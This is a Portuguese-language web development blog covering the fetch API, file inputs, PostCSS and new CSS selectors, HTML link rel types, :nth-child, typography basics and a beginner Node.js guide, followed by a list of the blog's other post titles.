  .then(function (response) {
    // Converte para JSON
    return response.json();
  })
  .then(function (js) {
    // Objeto javascript
    console.log(js);
  });

Text

Se o seu serviço recebe um HTML como resposta, aqui está como você lida com uma resposta em html ou texto:

fetch("/site/url")
  .then(function (response) {
    // Transforma em texto
    return response.text();
  })
  .then(function (txt) {
    // String
    console.log(txt);
  });

Headers and Metadatas

Response headers e metadatas são encontrados no objeto response, e o método get é mostrado a seguir:

fetch("/site/url").then(function (response) {
  console.log(response.headers.get("Content-Type"));
  console.log(response.headers.get("Date"));
  console.log(response.status);
  console.log(response.statusText);
  console.log(response.type);
  console.log(response.url);
});

Você também pode setar headers no seu request, mas não pode setar cookies.

fetch("/site/url", {
  headers: {
    Accept: "application/json",
    "Content-Type": "application/json",
  },
});

Método POST

Você também pode usar esse método com o fetch, basta setar as opções como eu mostro a seguir.

fetch("/site/url", {
  method: "post",
  headers: {
    "Content-type": "application/x-www-form-urlencoded",
  },
  body: "a=1&b=2",
})
  .then(function (res) {
    return res.json();
  })
  .then(function (data) {
    console.log("Resposta em JSON", data);
  })
  .catch(function (error) {
    console.log("Faustão fellings", error);
  });

Compatibilidade

Fetch ainda não tem suporte em 100% dos browsers mas você pode usar um polyfill feito pelo pessoal do github.

O intuito desse post foi mostrar o básico se você deseja saber ainda mais recomendo a leitura desse posts que vale muito a pena.

O elemento input[type=”file”]

2016-03-14T00:00:00+00:00

Quando seus usuários precisam fazer upload de alguma coisa no seu sistema, é a ele que você recorre.

O básico

O elemento é bem simples:

<input type="file" />

Mas se você quer o mínimo de acessibilidade vai precisar adicionar mais um pouco de html:

<form method="post" formenctype="multipart/form-data">
  <label for="upload"> Upload your picture: </label>
  <input type="file" name="upload" id="upload" />
</form>

Como o input radio e outros tipos de inputs do HTML, o estilo desse input é definido pelo browser.

Limitações

Você pode limitar as opções do usuário setando diferentes MIME type no atributo accept, você também pode usar o “*” para permitir arquivos de um tipo em particular.

<input type="file" accept="image/*" name="upload" id="upload" />

IOS suporta o “*” mas não suporta arquivos específicos como por exemplo image/png.

Tudo que não for um arquivo do tipo imagem vai ser ignorado ou nem aparecera quando o dialog para escolher os arquivos abrir.

Você também pode aceitar múltiplos arquivos utilizando o atributo booleano multiple.

<input type="file" multiple accept="image/*" name="upload" id="upload" />

Customização

Por padrão o elemento não é naaada customizável, mas como tudo nessa vida existe um workaround:

Com javascript:

Com JS você pode fazer coisas bem legais como preview da imagem que o usuário está subindo ou até mostrar quanto falta para o upload acabar e muito mais.

See the Pen File Input Alternative by Dudley Storey (@dudleystorey) on CodePen.

Com CSS

Para estilizar com CSS é quase a mesma coisa que acontece com radio e checkbox você esconde o elemento em si e faz todo o estilo com a label.

See the Pen Custom input file by Filipe Linhares (@filipelinhares) on CodePen.

Lembrando que tudo isso é muito legal mas não se esqueça da acessibilidade. Todos devem ter acesso as informações do seu site independente das limitações ❤

PostCSS e algumas novidades do CSS

2016-03-06T00:00:00+00:00

Depois do surgimento de pré-processadores como SASS e Less ganhamos uma quantidade imensa de coisas para melhorar a forma como escrevemos “CSS”. Mas como aconteceu com o JS depois do surgimento de várias lib e frameworks, temos algumas novidades nativas do CSS e você pode usar isso e mais um infinidade de plugins com PostCSS.

CSS level 4

CSS vem com algumas novidades, ainda está em working draft mas o PostCSS ta ai pra ajudar ❤.

Parent selector

Agora você pode selecionar um elemento pai baseado no seu filho.

$div > .lorem {
  /* seleciona a div que é pai do .lorem */
}

:matches() — plugin — spec

Seleciona elementos em uma lista de argumentos:

/* Old way */
p:first-child, p.special {
  color: red;
}

/* Com :matches */
p:matches(:first-child, .special) {
  color: red;
}

:not() — plugin — spec

Você já conheceu esse seletor do CSS3 mas a diferença dele agora é que você pode passar uma lista de seletores ao invés de somente um:

/* Old way */
p**:not**(:first-child), p**:not**(.special) {
  color: red;
}

/* With selector list */
**:not**(:first-child, .special) {
  color: red;
}

:has() — spec

Seleciona o elemento baseado na condicional passada como argumento:

/* Seleciona somente elementos <a> que contenham uma imagem dentro*/
a**:has**(> img)

/* Seleciona a <section> que não contem heading dentro */
section**:not**(**:has**(h1, h2, h3, h4, h5, h6))

:dir() — spec

Seleciona elemento baseado na direção da linguagem:

p:dir(ltr) {}
p:dir(rtl) {}

:lang() — spec

Seleciona o elemento baseado do atributo lang:

p**:lang**(pt-br) {}

Custom selectors — spec — plugin

@**custom-selector** :--button button, .button;
@**custom-selector** :--enter :hover, :focus;

:--button {}

Inputs pseudo-classes — spec

/* Field is enabled */
input[type="text"]**:enabled** {}

/* Field is disabled */
input[type="text"]**:disabled** {}

/* Field is read-only */
input[type="text"]**:read-only** {}

/* Field is showing the placeholder attr text */
input[type="text"]**:placeholder-show** {}

/* Field is checked */
input[type="radio"]**:checked** {}

Media queries — spec

Tem várias coisas novas sobre media queries no CSS e você pode encontrar tudo aqui:

Resolution

@**media** (resolution >= 2dppx)

@**media** print and (min-resolution: 300dpi) { }

Range — spec — plugin

Permite substituir min-/max- com <= & >=:

/* Old way */
@**media** (min-width: 500px) and (max-width: 1200px) { }

/* Using range  */
@**media** (width **>=** 500px) and (width **<=** 1200px) { }

Custom media queries — spec — plugin

@**custom-media** --small-viewport (max-width: 30em);
/* check out media queries ranges for a better syntax */

@**media** (--small-viewport) { }

Tem coisa legal pra caramba aqui que eu mostrei mas tem mais coisa ainda que você pode encontrar aqui:

PostCSS

É uma ferramenta para pré-processar seu CSS com plugins JS. O PostCSS por si só não faz muita coisa. O que ele faz é prover um parser CSS e um framework para criar plugins.

Com PostCSS você pode instalar cada plugins separadamente, você pode escrever seus própios plugins e também como polyfill de novas features do CSS. Hoje são mais de 200 plugins e tem para todos os gostos.

Nesse post iremos cobrir como utilizar os plugins do PostCSS se você deseja saber como criar novos ou editar algum existente recomendo a leitura da documentação.

Para mostrar como PostCSS pode ser flexível, vamos olhar esses dois plugins:

jonathantneal/precss - Use Sass-like markup in your CSS
MoOx/postcss-cssnext - PostCSS plugin to use tomorrow’s CSS syntax, today.

Ambos foram feitos com o PostCSS e ambos tem a sintaxe completamente diferente.

O primeiro, precss permite você usar uma sintaxe parecida com a do SASS (variáveis, nesting, etc) no seu arquivo CSS.

Já o cssnext tem uma série de polyfills para podermos usar as novas features do CSS hoje (tipo um Babel para CSS).

Instalando PostCSS

$ npm install -g postcss-cli

Usando o PostCSS

Nesse post eu vou mostrar como você pode usar um plugins fantásticos que facilitam muito a vida quando você está desenvolvendo.

Autoprefixer com PostCSS cli

Se você não conhece Autoprefixer, corre lá que ta tarde.

Vamos criar um arquivo chamado index.css e dentro dele vamos colocar o seguinte código:

/* index.css */

.container {
  display: flex;
}

Agora vamos instalar o autoprefixer:

$ npm install -g autoprefixer

Precisamos de uma pasta que é onde o nosso código processado sera salvo:

$ mkdir dist

E agora é só rodar o PostCSS:

$ postcss -u autoprefixer styles.css -d dist

O que fizemos acima é dizer para o PostCSS rodar utilizando (-u) o plugin Autoprefixer e o destino (-d) do nosso código compilado é a pasta dist.

Se você abrir o arquivo gerado dist/index.css você vai ver o seguinte:

.container {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
}

Como você pode ver o Autoprefixer colocou todos os prefixos de browsers para a gente sem nenhum esforço, e ao contrário dos outros prefixers que ficavam desatualizado facilmente o Autoprefixer utiliza dados do caniuse.com para sempre adicionar somente os prefixos necessários.

Não para por ai, você pode usar PostCSS com qualquer task runner que temos hoje como o Grunt, Gulp, Brocolli ou Fly.

Vale muito a pena “perder” um tempo dando uma olhada nos plugins do PostCSS pode ser muito útil para o seu projeto.

Tipos de hyperlinks

2016-02-26T00:00:00+00:00

Hyperlinks são um dos elementos mais básicos que existem, se você trabalha com web provavelmente você vê eles todo santo dia. Desde quando foram criados eles tem o mesmo objetivo, ligarem uma página.

Mas uma coisa que talvez você não saiba é que existem diferentes tipos de hyperlinks que podem ser usados para melhorarem a semântica, acessibilidade entre outras coisas na sua página.

Um guia dos diferentes tipos de links.

Tipos de links são bons para descrever a relação entre duas ou mais páginas e também podem expressar a razão de porque certos links estão na página.

Definir tipos de links também ajuda no SEO, já que os motores de busca podem usar essa informação para melhor entender o conteúdo do seu site.

Outras ferramentas online como redes sociais ou tradutores aproveitam sempre que você adiciona certos tipos de links.

Como utilizar os diferentes tipos de links?

Para adicionar basta utilizar o atributo rel.

Abaixo um exemplo de como usar o nofollow .

<a rel="nofollow" href="http://amzn.to/1JunkLD">
  Buy me a Macbook Pro
</a>

Adicionando múltiplos tipos de links

Você pode usar vários tipos, basta separá-los com espaço.

<a rel="nofollow noreferrer" href="http://amzn.to/1JunkLD">
  Buy me a Macbook Pro
</a>

Os tipos de hiperlinks

Alternate

O alternate aponta para uma outra forma de ver a página.

Linkando para outros formatos de arquivos.

Você pode ter a página da web em outro formato. Como um PDF ou uma página impressa.

No código abaixo, os dois links vão para uma página alternativa do site principal. O primeiro vai para um PDF e o outro faz o download de um arquivo .zip com o PDF.

<!-- O conteúdo em PDF -->
<a rel="alternate" type="application/pdf" href="this-page.pdf">
  PDF version
</a>

<!-- O link para download -->
<a rel="alternate" type="application/zip" href="this-page.zip" download>
  Download this web page
</a>

Author

O author mostra para o navegador que o link leva para informações sobre o autor.

Linkando o autor de uma página inteira

<html>
  <body>
    <h1>Minha página</h1>
    <p>Essa página foi criada por mim</p>
    <a rel="author" href="filipelinhares.html">
      Sobre mim
    </a>
  </body>
</html>

A maioria das vezes só uma parte da página é de um autor. Nesse caso o link com author deve se referir ao autor que escrever o conteúdo dentro do elemento article que envolve todo o conteúdo.

Em sites de noticias a maioria dos artigos são escritos por jornalistas. Mas outras coisas na página podem ser escritas por qualquer um. Os comentários na página por exemplo, é escrito pelos leitores do artigo. Nesse caso, a marcação pode ser feita assim:

<html>
  <body>
    <article>
      <!-- Essa parte foi postada por alguém -->
      <h1>O post de um convidado</h1>
      <p>Esse post é do Fulano</p>
      <a rel="author" href="fulano.html">
        Fulano
      </a>
    </article>

    <!-- Comentários -->
    <h1>Comentários</h1>
    <article>
      <a rel="author" href="visitante.html">
        O visitante
      </a>
      <p>Esse comentário foi escrito pelo Visitante</p>
    </article>
  </body>
</html>

Bookmark

O bookmark diz para o navegador que o link leva para um permalink.

Esse link é muito útil em home pages de blogs ou site de notícias.

A seguir temos o exemplo de dois blog posts que levam para permalinks.

<!-- Post #1 -->
<article>
  <h1>Post 1</h1>
  <a rel="bookmark" href="post-1.html">
     Leia mais
  </a>
</article>

<!-- Blog Post #2 -->
<article>
  <h1>Post #2</h1>
  <a rel="bookmark" href="post-2.html">
    Leia mais
  </a>
</div>

Help

O help diz para o navegador que o link leva para uma página que contem informações úteis.

Ao usar o help, o conteúdo referenciado devem ser específicos ao contexto. Em outras palavras, o link deve apontar para informações específicas de ajuda sobre o elemento HTML pai que contém o hiperlink.

License

O license pode ser usado em ligações indo para os termos de licenciamento do conteúdo principal da página web.

Este tipo de ligação deve ser usado dentro de marcas principais para que você possa definir quais partes da página web estão cobertos pela licença. A licença só é aplicável aos conteúdos do elemento principal pai.

A marcação abaixo representa três imagens. No entanto, apenas um deles está licenciado sob a Dedicação Creative Commons Public Domain (CC0).

<h1>Use essa foto grátis!</h1>
<main>
  <img src="foto.jpg" />
  <p>
      License:<a rel="license" href="https://creativecommons.org/publicdomain/zero/1.0/">
  CC0
    </a>
  </p>
</main>

Nofollow

nofollow é para especificar que o link em sua página é algo que você não “aprova”, porque você foi recompensado para colocá-lo lá.

Links gerados por usuários

Um lugar para usar o tipo de link nofollow é em links gerado pelo usuário. Os comentários de um post de blog, ou as respostas em sites de Q & A como StackOverflow são todos os candidatos para este tipo de ligação.

Esses links foram colocados na página por outra pessoa. Como o proprietário do site, você não pode sempre apoiar ou endossar as ligações seus usuários estão compartilhando em seu site.

Neste caso, o tipo de link nofollow diz aos motores de busca o proprietário do site pode não ter revisto o link e / ou o proprietário do site não endossa o link.

<h1>Comentários</h1>
<article>
  <h2 class="commenter">Comentado pelo Fulano</h2>
  <p>
    Gostei do seu blog, poderia dar uma olhada no meu?
    <a rel="nofollow" href="http://meublog.com">meublog</a>.
  </p>
</article>

Paid Links

Outro uso do tipo de link nofollow é para links pagos. Geralmente estes são propagandas. Se o proprietário do site colocou um link em uma página web, principalmente por causa de um relacionamento / fins lucrativos comercial com a página vinculada, em seguida, definir o destino como um nofollow é a coisa apropriada a fazer.

<a rel="nofollow" href="http://ad.com">Um link de propaganda</a>

Noreferrer

O tipo de link noreferrer é usado em hiperlinks que, quando clicado, não “contam” a página de destino que o usuário veio de sua página web.

<a rel="noreferrer" href="http://faceup.com">Não diga que fui eu!</a>

Quando você clica em um link com um tipo de link noreferrer, o navegador não deve incluir o cabeçalho HTTP Referer, que pode ser usado pelos proprietários do site para rastrear onde os usuários veio.

Prefetch

O prefetch deve ser usado quando você está apontando para recursos externos que o usuário provavelmente irá precisar. Diz aos browsers para carregar a página antes mesmo de o usuário clica no link.

Por exemplo, você pode ter uma galeria de imagens. Quando o usuário clica em uma imagem, você vai exibir uma versão ampliada da imagem.

Para uma experiência mais rápido, você pode instruir o navegador para armazenar em cache a versão maior da imagem de modo que ele está pronto quando o usuário quer.

<a rel="prefetch" href="large.jpg" title="Veja a imagem ampliada"><img src="small.jpg" alt="A imagem pequena" /></a>

Search

O tipo search aponta para uma interface de pesquisa para a página web. Esta interface de busca pode ser um formulário de pesquisa in-page ou outra página web que pode pesquisar a página atual (e as páginas relacionadas).

<!-- link to the in-page search form -->
<a rel="search" href="#search">
  Busque nessa página</a>

<!-- search form -->
<form id="search">
  <label for="search-term">Enter your search term</label>
  <input id="search-term" type="search" />
</form>

Tag

O tag pode ser utilizado para apontar para a categoria ou palavra-chave que corresponde ao conteúdo da página.

Por exemplo, este guia que você está lendo agora é classificado na categoria HTML.

<p>
  This guide is under the
  <a rel="tag" href="[https://medium.com/tag/h](https://medium.com/tag/apple)tml">HTML</a> category.
</p>

Next and Prev

*next *e *prev *aponta para a próxima página em uma série de páginas.

prev vai para a página anterior da série.

Vamos dizer que nós temos uma série de posts em quatro partes. Estamos no segundo artigo dessa série. No final dos artigos, nós temos uma lista de todos os links que apontam para outros membros da série.

<h1>Essa é a parte 2 de uma série de 4.</h1>
<ol>
  <li>
    <a rel="prev" href="1st.html">Part 1</a>
  </li>

  <!-- we're here -->
  <li>
    <strong>Part 2</strong> (this page)
  </li>
  <li>
    <a rel="next" href="3rd.html">Part 3</a>
  </li>
  <li>
    <a href="4th.html">Part 4</a>
  </li>
</ol>

Assim seu código fica mais semântico e com isso ajuda na acessibilidade da também ❤

Agora quando vocês for usar os diferentes tipos de links pensa duas vezes e lembra desse post.

Leitura extra

Como funciona o seletor :nth-child()

2015-07-04T00:00:00+00:00

Como funciona o seletor :nth-child()

element:nth-child(3n+3)

Muita gente, assim como eu, um dia se perguntou — O que é esse “n” ai no meio?

element:nth-child(3n+3)

O que o código acima faz, é selecionar cada terceiro elemento, ou seja, o 3º, 6º, 9º.

Mas o que acontece entre os parênteses?

O seletor nth-child() aceita duas palavras-chaves, “odd” (impar) e “even” (par). Como o nome já diz, odd seleciona cada número impar e o even cada número par.

Como visto no primeiro exemplo, nth-child() também aceita expressões. A expressão mais simples que podemos utilizar é utilizar apenas um número, isso ira selecionar apenas o elemento que corresponder aquele número.

element:nth-child(5)

Mas agora vamos voltar para o exemplo do começo, a expressão 3n+3, que seleciona cada terceiro elemento.

Para entender, basta pensar que o n é o número 0 que vai incrementando de um em um por cada inteiro positivo (1, 2, 3, 4). Para completar a expressão, multiplique o número ao lado do n **por **n, (3xn) + 3. Veja o exemplo abaixo que fica muito mais fácil de entender.

:nth-child(3n+3)

(3 x 0) + 3 = 3 (3º elemento)
(3 x 1) + 3 = 6 (6º elemento)
(3 x 2) + 3 = 9 (9º elemento)

Você também pode usar o operador de subtração:

:nth-child(4n-1)

(4 x 0) — 1 = -1 (nenhum elemento)
(4 x 1) — 1 = 3 (3º elemento)
(4 x 2) — 1 = 7 (7º elemento)

Usar -n fica meio estranho mas também é possível:

:nth-child(-n+3)

-0 + 3 = 3 (3º elemento)
-1 + 3 = 2 (2º elemento)
-2 + 3 = 1 (1º elemento)
-3 + 3 = 0 (nenhum elemento)

Fonte: Sitepoint

Originally published at blog.filipelinhares.com.

Estudos sobre design • Tipografia

2015-03-28T00:00:00+00:00

Após uma “pausa” nos códigos passei um tempo estudando sobre design. Separei algumas anotações sobre alguns temas e vou compartilhar com vocês.

O básico

ps: Vou usar os termos em inglês.

O tamanho da letra, também conhecido como Cap Height, é o tamanho total das letras capitalizadas.
O Ascender é a “perninha” de cima de algumas letras, como o h, l, t, b, d, e k.
O Descender é a “perninha” de baixo das letras como g, q, e y.
O Counter é o espaço em branco no meio de algumas letras o e p.
O X Height é a altura da letra, mas não inclui ascender nem descender.
Baseline é a parte mais abaixo da letra, onde o p e y estão em cima.

Kerning é o espaço entre cada letra.
Leading é o espaço entre as linhas do texto.

Alinhamento

Por padrão a escrita é do lado esquerdo para fazer textos simples de ler, manuscritos, e parágrafos básicos, como os usados nesse artigo.
Texto centralizado é usado para chamar atenção do leitor, e é usado na maioria das vezes em cabeçalhos e títulos.
Alinhamento a direita tem um look profissional, é usado um pouco em letras de indústrias, endereço de retorno, cartões de visita ou em outras aplicações que é necessário um alinhamento mais formal.
Justificado é sempre visto em jornais e é mais complicado de trabalhar. Esse alinhamento cria um perfeito alinhamento do lado direito e esquerdo sem mexer com a quantidade de caracteres.

Tipos de fontes

Serif tem extensões ou linhas. Times New Roman é um exemplo perfeito. Essa fonte é ótima para leituras extensas.
**Sans-serif **não tem extensões ou linhas, é muito usada para marcação, títulos ou cabeçalhos. Também é fácil com um tom um pouco mais contemporâneo.
Script, símbolos ou fontes decorativas são usados para criar uma específica imagem ou mensagem.

Dicas

Use italicas ou negritos para marcar conteúdo que você queira destaque.
A fonte que você escolher não deve receber toda atenção. Fontes são como joias para ser colocada apenas no contexto certo para receber o melhor receitado.
Tenha cuidado ao misturar fontes. É como misturar listras e xadrez, na dúvida, fique com algo mais conservador, em seguida adicione um toque a mais.
Use a consistência em seus layouts. Se você começar a usar um tipo de letra Arial para os cabeçalhos, fique com a mesma fonte em toda a peça.
Newsletters com colunas ficará melhor se você usar o alinhamento justificado. Certifique-se de que você não criar rios de espaço em branco no entanto.
Usar cores para dar ênfase. Lembre-se, vermelho chamará mais atenção, se usado corretamente. É impressionante o que uma mancha de vermelho pode fazer para um anúncio comum.

CSS (and SASS) Club

2015-03-28T00:00:00+00:00

The rules to keep your CSS awesome.

Rule #1

Keep stylesheets maintainable

Rule #2

Keep code transparent, sane, and readable;

Rule #3

Keep stylesheets scalable.

Rule #8

Keep your code well commented.

Want to contribute with our club?

Send a PR with new and awesome rules here.

Como organizamos o código front-end na Codeland

2015-02-03T00:00:00+00:00

Codeland?

A Codeland é uma empresa de desenvolvimento web de Porto Alegre, conta com uma galera muito maneira e cheia de idéias, se um dia tiver de bobeira e quiser trocar uma idéia com a gente, sera muito bem bem vindo :D.

Estou trabalhando na Codeland a quase 5 meses e quando eu cheguei não existia muito bem definido como funcionaria a organização do front. Depois de algumas conversar e analises sobre qual seria a melhor forma de fazer isso chegamos a um set de ferramentas e metódologias que eu irei mostrar pra vocês nesse post.

Começando

Começando pelo mais básico, assim é a organização nosso código e essas são as melhores práticas utilizadas para manter a consistência.

“Best Pactrices”

SCSS Syntax
Atomic Design.
BEM para nomenclatura.
Somente classes nada de ids.
Evitamos usar nesting, e se usar no máximo 3 níveis.
Organizamos as propriedades CSS com o CSS Comb.
Cores com Hexadecimal e unidades sempre px (em em alguns casos).

Ferramentas

Sass

Para lidar com o CSS utilizamos Sass. Ele fornece uma infinidade de features na hora de lidar com CSS como: variáveis, mixins, placeholders, functions. e muito mais. Isso agiliza bastante o nosso trabalho e também ajuda muito na hora da organização.

Slim

Como template engine usamos o slim, que em nossa opinião é a forma mais limpa e organizada de escrever html. Slim está para html como sass está para css, é simplesmente lindo!

Estrutura de pastas

Como havia comentado, usamos atomic design como metodologia para organizar, e é de lá que tiramos nossa estrutura de pastas.

Metodologias

Aqui totalmente caberia um novo post para ir a fundo em casa uma delas, então por hora escolhi deixar o link de um artigo do tableless para cada, assim se você se interessar pode dar uma conferida lá.

Bem um novo método para CSS — Thaiana Poplade

Atomic design para organização do código — Dani Guerrato

Frameworks

Como framework base costumamos utilizar o já bastante utilizado bootstrap. Ele traz uma infinidade de components e estilos que são muito uteis, mas devem ser usados com sabedoria para no final das contas não ficar uma macarronada no código.

Concluindo

Na stack de front-end procuramos estar sempre atualizados com o que há de mais novo, as melhores tecnicas para e, principalmente, o que facilita e nos ajuda para melhor desenvolver nossos projetos. Espero que esse texto possa ajudar você a conhecer alguma metodologia ou ferramenta nova, e que tenham gostado de conhecer um pouco de como funcionam as coisas aqui na Codeland!

Começando com Node.js

2014-07-28T00:00:00+00:00

Um post simples para quem quer começar com Node.js (simples mesmo).

Introdução

Esse é um artigo bem voltado pra utilização inicial, instalação, se você quiser saber sobre V8, event loop, etc recomendo os artigos do Caio Ribeiro.

Começando

Antes da brincadeira começar, é preciso instalar o Node.js na sua máquina. Vai lá no site do nodejs.org, clica em download que você vai ver as seguintes opções:

Windows e MAC-OS

Se você usa o Windows e/ou MAC basta baixar o instalador.

Linux

No Linux eu já utilizei duas formas de instalar e funcionaram perfeitamente, vou mostrar as duas e fica a seu critério qual a melhor maneira:

Source Code

Baixe o “Source Code” na mesma tela de anteriormente. Quanado terminar o download, extraia a pasta. Abra seu terminal (ctrl + alt + t).

 $ cd node-v0.XX.YY/
 $ ./configure
 $ make
 $ sudo make install

feito isso já estão instalados o Node.js e o NPM.

Package Manager → Ubuntu

 $ sudo add-apt-repository ppa:chris-lea/node.js
 $ sudo apt-get update
 $ sudo apt-get install nodejs

Pronto, agora você tem o Node.js instalado em seu computador. Vamos brincar um pouco com o código, mas não aquele exemplo do servidor que todo mundo faz.

Começando a brincadeira

Para fazer uma demonstração bem simples do Node.js, ler um arquivo de texto e exibir seu conteúdo.

O Node.js, usa CommonJS para gerenciar seus módulos, (provavelmente você já viu essa sintaxe por ai).

var fs = require('fs');

Nesse código estamos fazendo a chamada (require) do módulo File System que serve para trabalhar com sistema de arquivos e etc.

Vamos à primeira parte do nosso código.

Temos dois arquivos na nossa pasta como podemos ver:

|-index.js
|-arquivo.txt

Dentro do arquivo.txt:

Olá com Node.js!

Dentro do index.js:

var fs = require('fs');

fs.readFile('arquivo.txt', {encoding: 'UTF-8'}, function (err, data) {
  console.log(data);
});

No código acima carregamos o módulo File System (fs), e então utilizamos o método readFile para ler o arquivo.

Esse método, aceita três parâmetros:

fs.readFile('**nome-arquivo**', **options**, **callback(erro, conteudo)** );

A função de callback será executada assim que o arquivo terminar de ser lido, e recebe dois parâmetros, o primeiro é o erro (se o arquivo não existir ou algo assim), e o segundo é o conteúdo do arquivo.

Para rodar esse nosso exemplo, basta de dentro da pasta executarmos o comando “node” pelo terminal, seguido do nome do arquivo que queremos executar, no caso o index.js.

$ node index.js
=> Olá com Node.js!

E então obtivemos o output com o conteúdo do arquivo.txt através do console.log().

Finalizando

Bom galera, esse foi um exemplo bem simples de como é o Node.js, quis fazer algo bem básico para que qualquer um possa ter seu contato inicial. Agora é sua hora de ir atrás de mais conteúdo e ficar cada vez mais fera com essa tecnologia que está com tudo.

filipe's blog

Benchmarking HTTP Services with wrk

Basic Usage

Custom Headers

More options

A Simple Alternative: hey

Arithmetic for the Practical Man

Fractions

Some division rules

Logarithms

Series

Arithmetical Progression

Rules

Geometrical Progression

Angles

Latitude and Longitude

Percentage

Binary

Unix Command - yes

Practical Uses of yes

Automatically Confirm Prompts

Creating Large Files Quickly

Unix commands - nice

renice

Daily Unix Command - netcat

Establishing a Simple Client–Server Connection

Port Scanning

File Transfer

Creating a Simple Web Server

Reverse Shell

Unix Command - mkfifo

Unix Command - hexdump

Unix Command - dig

Script to check if DNS is configured correctly

Chrome Console API

Logs

console.assert

console.count([label])

console.time([label])

console.trace()

Utilities

$(), $$(), $x()

inspect()

getEventListeners()

keys() and values()

monitor(function) and unmonitor(function)

monitorEvents(object [, events])

profile([name]) and profileEnd([name])

Buffers Blobs and Byte Array

Buffers

Blobs

ArrayBuffers

Chrome Console API

Logs

console.assert

console.count([label])

console.time([label])

console.trace()

Utilities

$(), $$(), $x()

inspect()

getEventListeners()

keys() and values()

monitor(function) and unmonitor(function)

monitorEvents(object [, events])

profile([name]) and profileEnd([name])

Buffers Blobs and Byte Array

Buffers

Blobs

ArrayBuffers

Bit-shift operator

Big O notation

\(O(1)\) - Constant time

\(O(log(n))\) - Log time

\(O(n)\) Linear time

\(O(n*log(n))\) nlog(n)

\(O(n^2)\) - n squared

\(O(2^n)\) - exponential time example

\(O(n!)\) - factorial time

Assembly x86 NASM and Registers

A Simple Alternative: `hey`

Practical Uses of `yes`

`renice`

`console.assert`

`console.count([label])`

`console.time([label])`

`console.trace()`

`$(), $$(), $x()`

`inspect()`

`getEventListeners()`

`keys()` and `values()`

`monitor(function)` and `unmonitor(function)`

`monitorEvents(object [, events])`

`profile([name])` and `profileEnd([name])`

`console.assert`

`console.count([label])`

`console.time([label])`

`console.trace()`

`$(), $$(), $x()`

`inspect()`

`getEventListeners()`

`keys()` and `values()`

`monitor(function)` and `unmonitor(function)`

`monitorEvents(object [, events])`

`profile([name])` and `profileEnd([name])`